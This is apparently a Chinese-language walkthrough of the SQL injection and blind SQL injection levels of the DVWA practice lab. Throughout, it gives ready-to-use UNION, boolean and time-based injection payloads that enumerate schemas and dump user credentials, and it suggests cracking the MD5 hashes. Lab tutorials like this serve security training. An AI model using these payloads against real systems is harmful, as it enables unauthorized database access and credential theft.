DVWA在线靶场-SQL注入部分

目录

1.SQL注入

[1.1 low](#1.1 low)

[1.2 Medium](#1.2 Medium)

[1.3 high](#1.3 high)

[1.4 impossible](#1.4 impossible)

[1. SQL盲注](#1. SQL盲注)

[1.1 low](#1.1 low)

[2.2 medium](#2.2 medium)

[2.3 high](#2.3 high)

[2.4 impossible](#2.4 impossible)


1.SQL注入

显注:前端页面可以回显用户信息,比如 联合注入、报错注入。

盲注:前端页面不能回显用户信息,比如 布尔盲注、时间盲注。

数字型注入:url、下拉单选菜单

字符型注入:账号密码登录

1.1 low

1.确认注入点

'1 or 1=1'

报错,存在注入点

2.确认注入类型-字符型/数字型

1+1,无报错,判断为字符型

查看源码

3.确认列数

1' order by 3 # 报错

order by加到报错为止,若3报错则这个表有两列

4.确认回显位置

1' union select 1,2 #

union联合查询核心语句,有几列后面就需要select有几个值

5.爆库名

1' union select database(),2 #

6.爆表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #

7.获取表字段名

1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #

8.获取表字段值

1' union select password,user from users #

users为表名,password、user为表的字段

拿到了用户和密码,但密码是加密的,可使用md5自行解密md5在线解密破解,md5解密加密

1.2 Medium

限制输入,抓包更改参数

id更改为1+1,报错,判读为数字型注入

查看源码

order by判断列数,结果发现列数为2

id=1 union select 1,2 测试回显

union select database(),2

后续步骤同上。

1.3 high

1+1判断,无报错,判断为字符型

1.4 impossible

限制只能为数字 不存在注入

1. SQL盲注

1.1 low

核心就是and,如果猜中,回显正确,猜错,回显凑五

1' and 1=1 #,返回存在

猜解开数据库长度1' and length(database())=x # ,1~4逐个测试,发现4返回存在,说明数据库名为4位英文

1' and length(database())=5 ,返回不存在

用aascii猜解数据库名 1' and ascii(substr(database(),1,1))=100 # 由此确定,第一位ascii是100,对比ascii表

通常情况下需要从97-122(对应26个小写英文字母)逐个测试。

1' and ascii(substr(database(),1,1))=99 # 显示不存在

猜库(库名字符长度--库名字符)

猜表(表个数--第一个表名字符长度--第一个表名的字符)

猜字段(字段个数--第一个字段名字符长度--第一个字段名的字符)

判断有多少个表 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

复制代码
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
显示存在

结果为2个表

猜表名的长度

复制代码
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

...

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

猜第一个表名的第一个字母

复制代码
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的第一个字符为g,重复上述步骤即可猜解出两个表名(gusetbook、users)

猜字段名

复制代码
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

...

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在

说明users表中有8个字段,然后挨个猜解字段名:

复制代码
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

...

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在

说明user表的第一个字段名是7个字符,采用二分法即可猜解出所有字段名。

2.2 medium

布尔盲注

复制代码
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0x7573657273为users的16进制),显示存在,说明uers表有8个字段。

时间盲注

复制代码
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

2.3 high

查看源码,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:

复制代码
抓包将cookie中参数id改为1' and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

2.4 impossible

代码分析,可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。无漏洞。

参考:

DVWA靶场(七、盲注) - tonywell - 博客园

dvwa靶场通关教程(保姆及
教学,一看就会)_dvwa通关教程-CSDN博客

相关推荐
扫地生大鹏5 分钟前
Mysql-OCP PPT课程讲解并翻译
数据库
掘金-我是哪吒13 分钟前
分布式微服务系统架构第126集:集群,数据库扩展,多节点分布,分库,分表,分片,分表,运维
运维·数据库·分布式·微服务·系统架构
wangbing112527 分钟前
window server 2012安装sql server2008 r2
数据库
码上飞扬29 分钟前
深入解析MySQL联合查询(UNION):案例与实战技巧
数据库·mysql
Leo.yuan34 分钟前
数据分析怎么做?高效的数据分析方法有哪些?
大数据·数据库·信息可视化·数据挖掘·数据分析
zm1 小时前
网络编程epoll和udp
服务器·网络·数据库
野犬寒鸦1 小时前
Linux常用命令详解(下):打包压缩、文本编辑与查找命令
linux·运维·服务器·数据库·后端·github
第十六年盛夏.2 小时前
【网络安全】SQL注入
sql·web安全·网络安全
Ultipa2 小时前
回答 | 图形数据库neo4j社区版可以应用小型企业嘛?
数据库·neo4j·图数据库
charlie1145141912 小时前
逐步理解Qt信号与槽机制
数据库·qt